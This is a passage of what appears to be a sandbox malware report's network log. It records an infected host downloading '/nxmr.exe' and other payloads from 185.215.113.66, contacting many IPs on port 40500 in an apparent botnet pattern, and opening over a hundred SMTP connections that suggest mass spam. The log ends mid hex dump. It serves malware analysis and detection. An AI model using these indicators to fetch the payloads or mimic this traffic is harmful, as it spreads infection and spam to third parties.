Source: global traffic	HTTP traffic detected: GET /nxmr.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66

Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 88.200.240.149:40500
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 87.255.212.22:40500
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 195.158.22.13:40500
Source: global traffic	TCP traffic: 192.168.2.22:49833 -> 2.180.17.238:40500
Source: global traffic	TCP traffic: 192.168.2.22:50114 -> 87.241.129.126:40500
Source: global traffic	TCP traffic: 192.168.2.22:63659 -> 82.137.250.24:40500
Source: global traffic	TCP traffic: 192.168.2.22:63961 -> 134.35.37.154:40500
Source: global traffic	TCP traffic: 192.168.2.22:64246 -> 45.229.130.166:40500
Source: global traffic	TCP traffic: 192.168.2.22:60993 -> 1.34.58.190:40500
Source: global traffic	TCP traffic: 192.168.2.22:52058 -> 59.91.192.116:40500
Source: global traffic	TCP traffic: 192.168.2.22:59041 -> 89.38.196.114:40500
Source: global traffic	UDP traffic: 192.168.2.22:54823 -> 59.91.192.117:40500
Source: global traffic	UDP traffic: 192.168.2.22:54823 -> 185.177.0.201:40500
Source: global traffic	UDP traffic: 192.168.2.22:54823 -> 2.185.229.68:40500
Source: global traffic	UDP traffic: 192.168.2.22:54823 -> 2.180.17.91:40500
Source: global traffic	UDP traffic: 192.168.2.22:54823 -> 62.212.36.229:40500
Source: global traffic	UDP traffic: 192.168.2.22:54823 -> 178.236.111.156:40500
Source: global traffic	UDP traffic: 192.168.2.22:54823 -> 2.176.69.250:40500
Source: global traffic	UDP traffic: 192.168.2.22:54823 -> 2.180.154.243:40500
Source: global traffic	UDP traffic: 192.168.2.22:54823 -> 182.177.175.241:40500
Source: global traffic	UDP traffic: 192.168.2.22:54823 -> 91.98.7.42:40500
Source: global traffic	UDP traffic: 192.168.2.22:54823 -> 151.238.33.90:40500
Source: global traffic	UDP traffic: 192.168.2.22:54823 -> 31.58.71.101:40500
Source: global traffic	UDP traffic: 192.168.2.22:54823 -> 188.213.181.163:40500
Source: global traffic	UDP traffic: 192.168.2.22:54823 -> 185.120.248.196:40500
Source: global traffic	UDP traffic: 192.168.2.22:54823 -> 5.236.170.79:40500
Source: global traffic	UDP traffic: 192.168.2.22:54823 -> 151.234.143.58:40500
Source: global traffic	UDP traffic: 192.168.2.22:54823 -> 89.236.195.118:40500
Source: global traffic	UDP traffic: 192.168.2.22:54823 -> 5.137.240.85:40500
Source: global traffic	UDP traffic: 192.168.2.22:54823 -> 109.125.141.114:40500
Source: global traffic	UDP traffic: 192.168.2.22:54823 -> 102.213.99.235:40500
Source: global traffic	UDP traffic: 192.168.2.22:54823 -> 151.245.109.155:40500
Source: global traffic	UDP traffic: 192.168.2.22:54823 -> 2.186.96.125:40500
Source: global traffic	UDP traffic: 192.168.2.22:54823 -> 194.93.26.38:40500
Source: global traffic	UDP traffic: 192.168.2.22:54823 -> 2.183.155.88:40500
Source: global traffic	UDP traffic: 192.168.2.22:54823 -> 5.143.129.54:40500
Source: global traffic	UDP traffic: 192.168.2.22:54823 -> 213.154.15.109:40500
Source: global traffic	UDP traffic: 192.168.2.22:54823 -> 89.37.148.113:40500
Source: global traffic	UDP traffic: 192.168.2.22:54823 -> 212.112.105.226:40500
Source: global traffic	UDP traffic: 192.168.2.22:54823 -> 190.77.98.51:40500
Source: global traffic	UDP traffic: 192.168.2.22:54823 -> 111.125.158.109:40500
Source: global traffic	UDP traffic: 192.168.2.22:54823 -> 37.254.242.184:40500
Source: global traffic	UDP traffic: 192.168.2.22:54823 -> 37.255.140.192:40500
Source: global traffic	UDP traffic: 192.168.2.22:54823 -> 5.233.236.95:40500
Source: global traffic	UDP traffic: 192.168.2.22:54823 -> 82.137.199.137:40500
Source: global traffic	UDP traffic: 192.168.2.22:54823 -> 77.240.41.26:40500
Source: global traffic	UDP traffic: 192.168.2.22:54823 -> 213.230.127.140:40500
Source: global traffic	UDP traffic: 192.168.2.22:54823 -> 201.209.97.233:40500
Source: global traffic	UDP traffic: 192.168.2.22:54823 -> 37.150.143.196:40500
Source: global traffic	UDP traffic: 192.168.2.22:54823 -> 100.103.134.248:40500
Source: global traffic	UDP traffic: 192.168.2.22:54823 -> 182.188.44.232:40500
Source: global traffic	UDP traffic: 192.168.2.22:54823 -> 175.136.225.163:40500

Source: unknown

Network traffic detected: IP country count 22

Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 67.195.204.72:25
Source: global traffic	TCP traffic: 192.168.2.22:49184 -> 142.250.150.27:25
Source: global traffic	TCP traffic: 192.168.2.22:49185 -> 74.125.200.26:25
Source: global traffic	TCP traffic: 192.168.2.22:49186 -> 104.47.51.33:25
Source: global traffic	TCP traffic: 192.168.2.22:49187 -> 142.250.150.26:25
Source: global traffic	TCP traffic: 192.168.2.22:49188 -> 173.194.202.27:25
Source: global traffic	TCP traffic: 192.168.2.22:49189 -> 67.195.204.74:25
Source: global traffic	TCP traffic: 192.168.2.22:49190 -> 80.12.26.32:25
Source: global traffic	TCP traffic: 192.168.2.22:49709 -> 104.47.66.33:25
Source: global traffic	TCP traffic: 192.168.2.22:49712 -> 173.194.79.26:25
Source: global traffic	TCP traffic: 192.168.2.22:49713 -> 108.177.127.27:25
Source: global traffic	TCP traffic: 192.168.2.22:49714 -> 98.136.96.75:25
Source: global traffic	TCP traffic: 192.168.2.22:49715 -> 217.69.139.150:25
Source: global traffic	TCP traffic: 192.168.2.22:49717 -> 74.125.200.27:25
Source: global traffic	TCP traffic: 192.168.2.22:49722 -> 91.235.53.42:25
Source: global traffic	TCP traffic: 192.168.2.22:49725 -> 173.194.202.26:25
Source: global traffic	TCP traffic: 192.168.2.22:49730 -> 188.125.72.74:25
Source: global traffic	TCP traffic: 192.168.2.22:49734 -> 67.195.204.73:25
Source: global traffic	TCP traffic: 192.168.2.22:49736 -> 50.87.180.65:25
Source: global traffic	TCP traffic: 192.168.2.22:49737 -> 213.180.147.146:25
Source: global traffic	TCP traffic: 192.168.2.22:49746 -> 173.194.69.26:25
Source: global traffic	TCP traffic: 192.168.2.22:49749 -> 104.47.11.97:25
Source: global traffic	TCP traffic: 192.168.2.22:49750 -> 104.47.66.10:25
Source: global traffic	TCP traffic: 192.168.2.22:49759 -> 185.147.72.130:25
Source: global traffic	TCP traffic: 192.168.2.22:49760 -> 104.47.55.33:25
Source: global traffic	TCP traffic: 192.168.2.22:49764 -> 104.47.17.161:25
Source: global traffic	TCP traffic: 192.168.2.22:49765 -> 94.100.180.31:25
Source: global traffic	TCP traffic: 192.168.2.22:49772 -> 104.47.58.33:25
Source: global traffic	TCP traffic: 192.168.2.22:49773 -> 194.6.255.77:25
Source: global traffic	TCP traffic: 192.168.2.22:49777 -> 188.125.72.73:25
Source: global traffic	TCP traffic: 192.168.2.22:49783 -> 139.138.42.166:25
Source: global traffic	TCP traffic: 192.168.2.22:49791 -> 95.163.54.140:25
Source: global traffic	TCP traffic: 192.168.2.22:49798 -> 52.101.42.9:25
Source: global traffic	TCP traffic: 192.168.2.22:49800 -> 106.10.248.74:25
Source: global traffic	TCP traffic: 192.168.2.22:49803 -> 177.153.23.241:25
Source: global traffic	TCP traffic: 192.168.2.22:49805 -> 98.136.96.76:25
Source: global traffic	TCP traffic: 192.168.2.22:49810 -> 142.250.157.26:25
Source: global traffic	TCP traffic: 192.168.2.22:49815 -> 104.47.51.225:25
Source: global traffic	TCP traffic: 192.168.2.22:49818 -> 98.136.96.91:25
Source: global traffic	TCP traffic: 192.168.2.22:49821 -> 104.47.12.33:25
Source: global traffic	TCP traffic: 192.168.2.22:49830 -> 17.57.156.30:25
Source: global traffic	TCP traffic: 192.168.2.22:49846 -> 205.220.178.177:25
Source: global traffic	TCP traffic: 192.168.2.22:49864 -> 104.47.11.33:25
Source: global traffic	TCP traffic: 192.168.2.22:49867 -> 104.47.2.33:25
Source: global traffic	TCP traffic: 192.168.2.22:49878 -> 104.47.58.110:25
Source: global traffic	TCP traffic: 192.168.2.22:49880 -> 104.47.13.33:25
Source: global traffic	TCP traffic: 192.168.2.22:49899 -> 104.47.18.225:25
Source: global traffic	TCP traffic: 192.168.2.22:49901 -> 200.147.41.201:25
Source: global traffic	TCP traffic: 192.168.2.22:49905 -> 77.88.21.249:25
Source: global traffic	TCP traffic: 192.168.2.22:49906 -> 104.47.73.33:25
Source: global traffic	TCP traffic: 192.168.2.22:49909 -> 104.47.71.138:25
Source: global traffic	TCP traffic: 192.168.2.22:49911 -> 98.136.96.77:25
Source: global traffic	TCP traffic: 192.168.2.22:49921 -> 108.177.126.26:25
Source: global traffic	TCP traffic: 192.168.2.22:49923 -> 67.195.228.84:25
Source: global traffic	TCP traffic: 192.168.2.22:49937 -> 74.125.143.26:25
Source: global traffic	TCP traffic: 192.168.2.22:49939 -> 17.42.251.62:25
Source: global traffic	TCP traffic: 192.168.2.22:49945 -> 208.84.65.147:25
Source: global traffic	TCP traffic: 192.168.2.22:49948 -> 98.136.96.74:25
Source: global traffic	TCP traffic: 192.168.2.22:49952 -> 185.70.42.128:25
Source: global traffic	TCP traffic: 192.168.2.22:49953 -> 212.77.101.4:25
Source: global traffic	TCP traffic: 192.168.2.22:49968 -> 104.47.55.138:25
Source: global traffic	TCP traffic: 192.168.2.22:49969 -> 67.195.228.94:25
Source: global traffic	TCP traffic: 192.168.2.22:49970 -> 35.225.161.143:25
Source: global traffic	TCP traffic: 192.168.2.22:49979 -> 200.147.41.231:25
Source: global traffic	TCP traffic: 192.168.2.22:49999 -> 208.109.34.22:25
Source: global traffic	TCP traffic: 192.168.2.22:50012 -> 216.71.131.95:25
Source: global traffic	TCP traffic: 192.168.2.22:50020 -> 207.211.30.141:25
Source: global traffic	TCP traffic: 192.168.2.22:50022 -> 184.180.138.132:25
Source: global traffic	TCP traffic: 192.168.2.22:50029 -> 203.210.102.45:25
Source: global traffic	TCP traffic: 192.168.2.22:50033 -> 103.13.69.26:25
Source: global traffic	TCP traffic: 192.168.2.22:50034 -> 104.47.18.97:25
Source: global traffic	TCP traffic: 192.168.2.22:50037 -> 93.17.128.165:25
Source: global traffic	TCP traffic: 192.168.2.22:50046 -> 205.220.175.7:25
Source: global traffic	TCP traffic: 192.168.2.22:50049 -> 142.250.157.27:25
Source: global traffic	TCP traffic: 192.168.2.22:50054 -> 54.146.255.189:25
Source: global traffic	TCP traffic: 192.168.2.22:50061 -> 125.209.238.100:25
Source: global traffic	TCP traffic: 192.168.2.22:50077 -> 46.255.225.8:25
Source: global traffic	TCP traffic: 192.168.2.22:50108 -> 199.59.243.224:25
Source: global traffic	TCP traffic: 192.168.2.22:50110 -> 104.47.1.33:25
Source: global traffic	TCP traffic: 192.168.2.22:50115 -> 104.47.51.161:25
Source: global traffic	TCP traffic: 192.168.2.22:50120 -> 104.47.51.202:25
Source: global traffic	TCP traffic: 192.168.2.22:50123 -> 104.47.70.110:25
Source: global traffic	TCP traffic: 192.168.2.22:50125 -> 41.61.249.30:25
Source: global traffic	TCP traffic: 192.168.2.22:50135 -> 104.47.51.110:25
Source: global traffic	TCP traffic: 192.168.2.22:50154 -> 104.47.17.97:25
Source: global traffic	TCP traffic: 192.168.2.22:50155 -> 212.42.75.251:25
Source: global traffic	TCP traffic: 192.168.2.22:50169 -> 212.227.17.5:25
Source: global traffic	TCP traffic: 192.168.2.22:50187 -> 95.217.0.12:25
Source: global traffic	TCP traffic: 192.168.2.22:50188 -> 103.96.22.26:25
Source: global traffic	TCP traffic: 192.168.2.22:50194 -> 160.92.124.66:25
Source: global traffic	TCP traffic: 192.168.2.22:50197 -> 125.209.222.14:25
Source: global traffic	TCP traffic: 192.168.2.22:50202 -> 104.47.57.110:25
Source: global traffic	TCP traffic: 192.168.2.22:50208 -> 212.77.101.13:25
Source: global traffic	TCP traffic: 192.168.2.22:50226 -> 170.12.104.95:25
Source: global traffic	TCP traffic: 192.168.2.22:63569 -> 104.47.14.33:25
Source: global traffic	TCP traffic: 192.168.2.22:63583 -> 67.231.149.15:25
Source: global traffic	TCP traffic: 192.168.2.22:63590 -> 213.205.33.61:25
Source: global traffic	TCP traffic: 192.168.2.22:63601 -> 148.163.143.14:25
Source: global traffic	TCP traffic: 192.168.2.22:63614 -> 194.152.32.74:25
Source: global traffic	TCP traffic: 192.168.2.22:63616 -> 217.70.178.216:25
Source: global traffic	TCP traffic: 192.168.2.22:63617 -> 52.179.17.190:25
Source: global traffic	TCP traffic: 192.168.2.22:63625 -> 104.47.56.161:25
Source: global traffic	TCP traffic: 192.168.2.22:63629 -> 106.10.248.73:25
Source: global traffic	TCP traffic: 192.168.2.22:63632 -> 104.47.55.110:25
Source: global traffic	TCP traffic: 192.168.2.22:63647 -> 52.101.40.2:25
Source: global traffic	TCP traffic: 192.168.2.22:63651 -> 104.47.73.10:25
Source: global traffic	TCP traffic: 192.168.2.22:63656 -> 104.47.57.161:25
Source: global traffic	TCP traffic: 192.168.2.22:63683 -> 69.60.184.109:25
Source: global traffic	TCP traffic: 192.168.2.22:63707 -> 67.231.157.15:25
Source: global traffic	TCP traffic: 192.168.2.22:63749 -> 142.251.31.26:25
Source: global traffic	TCP traffic: 192.168.2.22:63773 -> 173.163.102.229:25
Source: global traffic	TCP traffic: 192.168.2.22:63775 -> 67.195.228.111:25
Source: global traffic	TCP traffic: 192.168.2.22:63776 -> 209.222.82.252:25
Source: global traffic	TCP traffic: 192.168.2.22:63778 -> 137.184.154.224:25
Source: global traffic	TCP traffic: 192.168.2.22:63786 -> 212.227.15.9:25
Source: global traffic	TCP traffic: 192.168.2.22:63800 -> 67.195.228.109:25
Source: global traffic	TCP traffic: 192.168.2.22:63810 -> 67.195.204.77:25
Source: global traffic	TCP traffic: 192.168.2.22:63811 -> 144.160.235.143:25
Source: global traffic	TCP traffic: 192.168.2.22:63821 -> 104.47.75.228:25
Source: global traffic	TCP traffic: 192.168.2.22:63827 -> 205.220.168.57:25
Source: global traffic	TCP traffic: 192.168.2.22:63831 -> 104.47.11.10:25
Source: global traffic	TCP traffic: 192.168.2.22:63885 -> 132.198.101.209:25
Source: global traffic	TCP traffic: 192.168.2.22:63895 -> 23.90.107.19:25
Source: global traffic	TCP traffic: 192.168.2.22:63899 -> 104.47.18.161:25
Source: global traffic	TCP traffic: 192.168.2.22:63904 -> 67.195.228.110:25
Source: global traffic	TCP traffic: 192.168.2.22:63930 -> 193.126.240.185:25
Source: global traffic	TCP traffic: 192.168.2.22:63953 -> 34.141.161.132:25
Source: global traffic	TCP traffic: 192.168.2.22:63964 -> 52.101.40.4:25
Source: global traffic	TCP traffic: 192.168.2.22:63986 -> 104.47.59.138:25
Source: global traffic	TCP traffic: 192.168.2.22:63998 -> 52.101.73.2:25
Source: global traffic	TCP traffic: 192.168.2.22:64032 -> 212.27.48.6:25
Source: global traffic	TCP traffic: 192.168.2.22:64062 -> 104.47.74.33:25
Source: global traffic	TCP traffic: 192.168.2.22:64089 -> 104.47.56.33:25
Source: global traffic	TCP traffic: 192.168.2.22:64095 -> 216.71.132.28:25
Source: global traffic	TCP traffic: 192.168.2.22:64101 -> 205.139.110.242:25
Source: global traffic	TCP traffic: 192.168.2.22:64107 -> 68.232.156.175:25
Source: global traffic	TCP traffic: 192.168.2.22:64110 -> 147.182.189.184:25
Source: global traffic	TCP traffic: 192.168.2.22:64123 -> 67.195.204.79:25
Source: global traffic	TCP traffic: 192.168.2.22:64135 -> 82.198.79.151:25
Source: global traffic	TCP traffic: 192.168.2.22:64140 -> 148.163.145.63:25
Source: global traffic	TCP traffic: 192.168.2.22:64148 -> 74.208.5.20:25
Source: global traffic	TCP traffic: 192.168.2.22:64159 -> 104.47.11.225:25
Source: global traffic	TCP traffic: 192.168.2.22:64164 -> 34.212.80.54:25
Source: global traffic	TCP traffic: 192.168.2.22:64192 -> 34.149.236.64:25
Source: global traffic	TCP traffic: 192.168.2.22:64193 -> 212.227.17.8:25
Source: global traffic	TCP traffic: 192.168.2.22:64199 -> 136.143.191.44:25
Source: global traffic	TCP traffic: 192.168.2.22:64205 -> 193.222.135.150:25
Source: global traffic	TCP traffic: 192.168.2.22:64213 -> 104.47.57.33:25
Source: global traffic	TCP traffic: 192.168.2.22:64230 -> 34.90.152.141:25
Source: global traffic	TCP traffic: 192.168.2.22:64237 -> 52.101.11.3:25
Source: global traffic	TCP traffic: 192.168.2.22:64248 -> 96.103.145.164:25
Source: global traffic	TCP traffic: 192.168.2.22:64264 -> 207.54.68.161:25
Source: global traffic	TCP traffic: 192.168.2.22:60726 -> 52.101.68.33:25
Source: global traffic	TCP traffic: 192.168.2.22:60736 -> 148.163.157.32:25
Source: global traffic	TCP traffic: 192.168.2.22:60743 -> 104.47.23.138:25
Source: global traffic	TCP traffic: 192.168.2.22:60744 -> 104.47.74.10:25
Source: global traffic	TCP traffic: 192.168.2.22:60751 -> 217.74.65.64:25
Source: global traffic	TCP traffic: 192.168.2.22:60771 -> 68.232.143.84:25
Source: global traffic	TCP traffic: 192.168.2.22:60772 -> 104.47.11.74:25
Source: global traffic	TCP traffic: 192.168.2.22:60791 -> 202.180.64.207:25
Source: global traffic	TCP traffic: 192.168.2.22:60798 -> 64.26.60.135:25
Source: global traffic	TCP traffic: 192.168.2.22:60799 -> 104.47.11.202:25
Source: global traffic	TCP traffic: 192.168.2.22:60813 -> 67.195.228.106:25
Source: global traffic	TCP traffic: 192.168.2.22:60815 -> 77.75.77.90:25
Source: global traffic	TCP traffic: 192.168.2.22:60829 -> 104.47.22.161:25
Source: global traffic	TCP traffic: 192.168.2.22:60867 -> 93.185.99.201:25
Source: global traffic	TCP traffic: 192.168.2.22:60888 -> 104.47.55.161:25
Source: global traffic	TCP traffic: 192.168.2.22:60914 -> 108.178.44.46:25
Source: global traffic	TCP traffic: 192.168.2.22:60926 -> 162.241.217.135:25
Source: global traffic	TCP traffic: 192.168.2.22:60931 -> 200.147.36.29:25
Source: global traffic	TCP traffic: 192.168.2.22:60952 -> 104.47.73.161:25
Source: global traffic	TCP traffic: 192.168.2.22:60967 -> 67.195.204.80:25
Source: global traffic	TCP traffic: 192.168.2.22:60968 -> 195.130.132.9:25
Source: global traffic	TCP traffic: 192.168.2.22:60976 -> 104.47.74.138:25
Source: global traffic	TCP traffic: 192.168.2.22:60982 -> 213.180.142.193:25
Source: global traffic	TCP traffic: 192.168.2.22:60998 -> 103.129.252.82:25
Source: global traffic	TCP traffic: 192.168.2.22:52003 -> 87.98.164.155:25
Source: global traffic	TCP traffic: 192.168.2.22:52018 -> 96.5.242.13:25
Source: global traffic	TCP traffic: 192.168.2.22:52022 -> 124.83.142.246:25
Source: global traffic	TCP traffic: 192.168.2.22:52036 -> 173.252.87.251:25
Source: global traffic	TCP traffic: 192.168.2.22:65164 -> 69.168.108.17:25
Source: global traffic	TCP traffic: 192.168.2.22:65166 -> 67.195.228.86:25
Source: global traffic	TCP traffic: 192.168.2.22:65171 -> 212.227.15.10:25
Source: global traffic	TCP traffic: 192.168.2.22:65178 -> 212.45.32.235:25
Source: global traffic	TCP traffic: 192.168.2.22:65181 -> 203.42.40.138:25
Source: global traffic	TCP traffic: 192.168.2.22:65225 -> 137.191.224.10:25
Source: global traffic	TCP traffic: 192.168.2.22:59016 -> 52.101.132.28:25
Source: global traffic	TCP traffic: 192.168.2.22:59029 -> 104.47.59.161:25
Source: global traffic	TCP traffic: 192.168.2.22:59035 -> 190.0.224.83:25
Source: global traffic	TCP traffic: 192.168.2.22:59045 -> 67.195.204.75:25
Source: global traffic	TCP traffic: 192.168.2.22:59057 -> 108.178.53.162:25
Source: global traffic	TCP traffic: 192.168.2.22:59076 -> 213.209.1.129:25
Source: global traffic	TCP traffic: 192.168.2.22:59077 -> 196.35.198.130:25
Source: global traffic	TCP traffic: 192.168.2.22:59100 -> 41.193.119.123:25
Source: global traffic	TCP traffic: 192.168.2.22:59103 -> 165.232.177.98:25

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:32:01 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:32:03 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:32:05 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 